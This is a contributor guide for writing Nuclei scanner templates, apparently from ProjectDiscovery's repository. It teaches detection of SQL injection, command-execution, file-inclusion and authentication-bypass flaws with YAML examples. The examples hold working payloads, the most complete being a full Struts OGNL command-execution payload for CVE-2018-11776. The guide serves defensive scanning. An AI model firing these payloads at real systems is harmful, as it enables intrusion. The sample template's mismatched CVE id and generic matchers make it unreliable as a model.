Files
nuclei-templates/TEMPLATE-CREATION-GUIDE.md
Sandeep Singh 226d8f0006 Add comprehensive template creation and review guides (#12935)
- TEMPLATE-REVIEW-GUIDE.md: Internal data-driven review guide with actionable checklists and matcher quality framework
- TEMPLATE-CREATION-GUIDE.md: Complete guide for template authors with step-by-step creation workflow and examples

Both guides include:
- Vulnerability-specific matcher examples
- False positive prevention techniques
- Quality standards and best practices
- Official documentation references
- Community support channels
2025-08-25 19:11:47 +05:30

15 KiB

Nuclei Template Creation Guide

Complete Guide for Writing High-Quality Security Templates


Getting Started

What is a Nuclei Template?

Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.

📖 Official Documentation: For comprehensive technical details, visit ProjectDiscovery Template Docs

Template Structure Overview

id: template-identifier
info:
  name: Human Readable Vulnerability Name
  author: your-github-username,vulnerability-discoverer-handle
  severity: critical|high|medium|low|info
  description: Clear explanation of what this template detects
  reference:
    - https://link-to-vulnerability-details
  classification:
    cve-id: CVE-2024-1234
    cwe-id: CWE-89
  tags: cve,sqli,rce
  metadata:
    verified: true
    shodan-query: 'http.title:"VulnApp"'

http:
  - method: GET
    path:
      - "{{BaseURL}}/vulnerable-endpoint"
    
    matchers:
      - type: word
        words:
          - "vulnerability_indicator"
        part: body

Step-by-Step Template Creation

Step 1: Research and Understand the Vulnerability

Before writing any code:

  • Read the original vulnerability disclosure/advisory
  • Understand the root cause and exploitation method
  • Identify unique indicators that prove vulnerability exists
  • Test the vulnerability in a controlled environment
  • Document the vulnerable versions and affected components

Step 2: Choose Your Template ID and Info

# Use descriptive, short identifiers
id: apache-struts-ognl-injection  # GOOD - clear and specific
id: vuln-app-rce                  # BAD - too generic

info:
  name: Apache Struts OGNL Code Injection  # Format: "Vendor Product - Vulnerability Type"
  author: your-github-username,original-researcher-handle  # Always credit the discoverer
  severity: critical  # Based on CVSS score and real-world impact

Step 3: Write Accurate Description and References

info:
  description: |
    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
    OGNL injection vulnerability that allows remote code execution.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-057
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
    - https://seclists.org/fulldisclosure/2018/Aug/31
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-11776
    cwe-id: CWE-94

Step 4: Add Proper Tags and Metadata

info:
  tags: cve,cve2018,rce,apache,struts,ognl  # Be specific and comprehensive
  metadata:
    verified: true  # Only if you've tested it yourself
    max-request: 1  # Auto-calculated, don't set manually
    shodan-query: 'http.component:"Apache Struts"'
    fofa-query: 'body="struts" && title="Apache"'

Writing Effective HTTP Requests

Basic HTTP Template Structure

http:
  - method: GET|POST|PUT|DELETE
    path:
      - "{{BaseURL}}/endpoint"        # Dynamic BaseURL variable
      - "{{Hostname}}/another-path"   # Alternative dynamic variable
    
    headers:
      User-Agent: Custom-Agent-String
      Content-Type: application/json
      Origin: https://example.com
    
    body: |
      {"param": "{{payload}}"}
    
    disable-cookie: false  # Cookies reused by default (optional)
    
    matchers-condition: and  # Require ALL matchers to pass
    matchers:
      - type: word
        words:
          - "success_indicator"
        part: body

📖 Reference: HTTP Template Syntax for complete protocol details

Using Variables for Flexibility

variables:
  username: "admin"
  payload: "{{rand_base(8)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"
    body: |
      username={{username}}&password={{payload}}

Matcher Best Practices

🚫 Avoid Weak Matchers

# BAD - Too generic, will match many innocent systems
matchers:
  - type: word
    words:
      - "error"
      - "admin"
      - "login"
    part: body

Use Strong, Specific Matchers

# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
  - type: word
    words:
      - "VulnApp Management Console v2.1.0"  # Specific application version
      - "Build 2024.03.15"                   # Specific build
    part: body
    
  - type: status
    status:
      - 200
      
  - type: word
    words:
      - "OGNL_INJECTION_SUCCESS_{{randstr}}"  # Proof of exploitation
      - "java.lang.ProcessBuilder"            # Technical indicator
    part: body
    condition: or  # Any of these proves exploitation

Multi-Layer Verification Strategy

# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version  
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
  - type: word                    # Layer 1: App identification
    words:
      - "Apache Struts Framework"
      - "struts-tags"
    part: body
    
  - type: regex                   # Layer 2: Version detection
    regex:
      - 'Struts 2\.[0-4]\.[0-9]+'  # Vulnerable version range
    part: body
    
  - type: word                    # Layer 3: Exploitation proof
    words:
      - "ognl.OgnlException"
      - "java.lang.SecurityException"
    part: body
    condition: or

Testing Your Template

Before Submitting - Test Thoroughly

# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug

# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug

# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug

Validation Checklist

  • Template detects the vulnerability on vulnerable systems
  • Template does NOT trigger false positives on:
    • Patched versions of the same application
    • Similar applications from the same vendor
    • Generic web frameworks or CMSs
    • Default server error pages
  • Matchers are specific enough to avoid honeypots
  • References are valid and accessible
  • YAML syntax is correct (nuclei -validate -t template.yaml)

Common Vulnerability Types - Template Patterns

SQL Injection Detection

http:
  - method: POST
    path:
      - "{{BaseURL}}/search"
    body: "q={{payload}}"
    
    payloads:
      payload:
        - "1' OR '1'='1"
        - "1' UNION SELECT version()--"
        - "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
    
    matchers:
      - type: word
        words:
          - "mysql_fetch_array(): supplied argument"
          - "You have an error in your SQL syntax"
          - "Microsoft OLE DB Provider for ODBC"
        part: body

Remote Code Execution (RCE)

variables:
  cmd: "whoami"
  marker: "{{rand_base(8)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/execute"
    body: |
      command={{cmd}} && echo {{marker}}
    
    matchers:
      - type: word
        words:
          - "{{marker}}"
        part: body
      - type: regex
        regex:
          - 'root|administrator|www-data'
        part: body

Local File Inclusion (LFI)

http:
  - method: GET
    path:
      - "{{BaseURL}}/view?file=../../../etc/passwd"
      - "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
    
    matchers:
      - type: regex
        regex:
          - 'root:.*?:[0-9]*:[0-9]*:'  # Linux /etc/passwd
          - '\[fonts\]'                 # Windows win.ini
        part: body

Authentication Bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin"
    headers:
      X-Originating-IP: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Real-IP: 127.0.0.1
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin Dashboard"
          - "Administrative Panel"
        part: body
      - type: status
        status:
          - 200

Advanced Template Features

Using Extractors for Data Collection

http:
  - method: GET
    path:
      - "{{BaseURL}}/info"
    
    extractors:
      - type: regex
        name: version
        regex:
          - 'Version: ([0-9\.]+)'
        group: 1
    
    matchers:
      - type: word
        words:
          - "Application Info"
        part: body

Conditional Logic with DSL

matchers:
  - type: dsl
    dsl:
      - 'status_code == 200'
      - 'contains(body, "vulnerable_pattern")'
      - 'len(body) > 1000'
    condition: and

Network Templates for Non-HTTP Services

network:
  - inputs:
      - data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}"  # GET / HTTP/1.1
    host:
      - "{{Hostname}}"
    port: 8080
    
    matchers:
      - type: word
        words:
          - "Server: VulnServer/1.0"
        part: data

Submission Guidelines

Preparing Your Template for Submission

  1. Validate Syntax

    nuclei -validate -t your-template.yaml
    
  2. Test Thoroughly

    nuclei -t your-template.yaml -target vulnerable-instance.com -debug
    
  3. Check for Existing Templates

    • Search the repository for similar vulnerabilities
    • Avoid duplicating existing detection logic
    • If improving existing template, explain why
  4. Follow Naming Conventions

    • Place in appropriate directory (cves/2024/, exposures/, misconfiguration/)
    • Use descriptive filename: CVE-2024-1234.yaml or app-name-vuln-type.yaml

Pull Request Best Practices

  • Title: Clear description of what the template detects
  • Description: Include:
    • Link to vulnerability details/advisory
    • Affected versions
    • Testing methodology
    • Screenshots/proof if possible
  • Testing: Show debug output proving detection works
  • Test Instances: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email templates@projectdiscovery.io
  • References: Include all relevant security advisories

💡 Pro Tip: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.


Quality Checklist

Before Submitting Your Template

  • Functionality

    • Template detects the intended vulnerability
    • No false positives on tested systems
    • Matchers are specific and accurate
  • Attribution

    • Original vulnerability discoverer credited in author field
    • All references included and valid
    • Proper CVSS scoring if applicable
  • Quality

    • YAML syntax is valid
    • Follows nuclei template conventions
    • Includes appropriate tags and metadata
  • Testing

    • Tested against vulnerable instance
    • Tested against non-vulnerable similar systems
    • Debug output reviewed for accuracy
  • Documentation

    • Clear description of what template detects
    • Proper severity classification
    • Complete reference list

Examples of High-Quality Templates

Complete CVE Template Example

id: CVE-2024-1234-apache-struts-rce

info:
  name: Apache Struts 2.x OGNL Code Injection
  author: your-github-username,original-researcher-handle
  severity: critical
  description: |
    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
    OGNL injection vulnerability in the namespace value that allows remote 
    code execution.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-057
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
    - https://seclists.org/fulldisclosure/2018/Aug/31
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-11776
    cwe-id: CWE-94
  metadata:
    verified: true
    shodan-query: 'http.component:"Apache Struts"'
    fofa-query: 'body="struts" && title="Apache"'
  tags: cve,cve2018,rce,apache,struts,ognl,kev

variables:
  command: "whoami"
  marker: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "struts"
          - "java"
        part: body
        condition: or

      - type: regex
        regex:
          - 'root|administrator|www-data|apache'
        part: body

Getting Help

Resources

💡 Pro Tip: Sharing test instances with reviewers significantly accelerates the template review and merge process.

Common Issues and Solutions

  • False Positives: Make matchers more specific, add version detection
  • YAML Errors: Use online YAML validators, check indentation
  • Template Not Triggering: Verify target is actually vulnerable, check debug output
  • Performance Issues: Minimize requests, optimize matchers

This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.